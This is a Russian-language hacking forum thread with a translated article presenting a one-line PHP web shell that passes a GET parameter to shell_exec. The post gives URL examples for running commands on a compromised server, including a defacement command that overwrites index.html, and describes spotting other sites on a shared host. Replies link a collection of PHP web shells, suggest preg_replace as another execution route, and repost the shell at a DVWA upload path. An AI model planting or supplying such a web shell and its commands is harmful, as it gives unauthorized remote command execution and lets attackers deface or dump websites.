Однострочный PHP-скрипт для получения Shell-a.

V

Valkiria

Сегодняшнее ознакомление с информацией на форуме привело меня к статье об .
Для лучшего усвоения, мысли автора пришлось перевести.
Возможно, кого-то заинтересует перевод .

Некоторое время назад, на неделе безопасности , я слышал, как кто-то что-то упоминал об однострочном PHP-скрипте, по сути представляющем собою Shell. Я предположил, что написание такого скрипта не составит особого труда, поскольку он представляет собою всего одну строку. Поиск информации в Гугле не принёс больших результатов, возможно потому, что это слишком легко, или я использовал неправильные условия поиска. В любом случае, я забыл о скрипте на некоторое время... до сих пор.

Поскольку в настоящее время я изучаю PHP, меня интересует безопасность Web-приложений.
Обучение пока не закончено, но сегодня (при чтении о том, как вводить данные, прежде чем использовать “include”) я вспомнил об использовании однострочного PHP-скрипта.
Вот что у меня получилось:
Код:
<?php echo shell_exec($_GET['e'].' 2>&1'); ?>

Очевидно, web-приложение должно быть в некотором роде уязвимым, чтобы имелась возможность поместить этот сценарий на сервер. Как только уязвимость будет найдена, скрипт потенциально может быть использован для взлома сайта или создания его дампа.
Выходные данные скрипта -это просто текст, а не документ HTML. Поэтому, если вы используете веб-браузер, для просмотра результата необходимо смотреть исходный код страницы.

Я использовал shell_exec() вместо Just exec (), потому что он возвращает каждую строку вместо последней. Альтернативой является использование passthru (), который также будет отправлять двоичные данные. Но, чтобы получить и правильно работать с двоичными данными, придется также установить заголовки, что делает скрипт многострочным.
Я смог запустить команды unix (команды windows также должны работать, если хост работает под управлением windows) такие как:

  • shell.php?e=whoami
  • shell.php?e=pwd
  • shell.php?e=uname%20-a (I had to URL encode the spaces otherwise my browser thought it should search using google)
  • shell.php?e=echo%20This%20site%20has%20been%20hacked%3Eindex.html
  • shell?e=ls%20-l%20/tmp

Последняя команда даже показала мне некоторые файлы и их владельцев, которые в свою очередь (так как я использую общий хост) подсказали мне имена некоторых других сайтов, которые работают на том же сервере, что и мой, что явилось для меня неожиданным “бонусом”.
 
Последнее редактирование модератором:

nekto

Green Team
02.11.2017
18
52
BIT
0
Мыслишь в верную сторону, только скрипту этому... боюсь считать годы :)
Как ты его в интернете не нашел - просто удивительно :)
Если интереснен PHP + безопасность. Вот подборка PHP шеллов, изучай: https://github.com/JohnTroony/php-webshells
 
Ч

Чистильщик

Это не её мысли, а только перевод чужой статьи.
Твоя подборка шеллов ещё древнее однострочного шелла, о котором говорится в статье.
ЛОЛ !
 

centr

Green Team
31.01.2017
408
477
BIT
0
Более универсальнее preg_replace ещё не видел.
Можно использовать eval\passthru\exec\shell_exec\...., но preg_replace всех победит!
 

Necr0s

One Level
04.01.2017
1
1
BIT
0
<?php echo shell_exec($_GET['cmd'].' 2>&1'); ?>
и потом выполняем команды через cmd
IP/dvwa/hackable/uploads/shell.php?cmd=ls
 
  • Нравится
Реакции: Valkiria

Citizen0

Green Team
07.02.2017
203
228
BIT
0
но preg_replace всех победит!
Наверное... Если искать сайты с версией php, поддерживающей модификатор e в указанной функции.
<?php echo shell_exec($_GET['cmd'].' 2>&1'); ?>
и потом выполняем команды через cmd
IP/dvwa/hackable/uploads/shell.php?cmd=ls
И чем этот вариант отличается от предложенного в стартовом посте?
Поменяли e на cmd
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!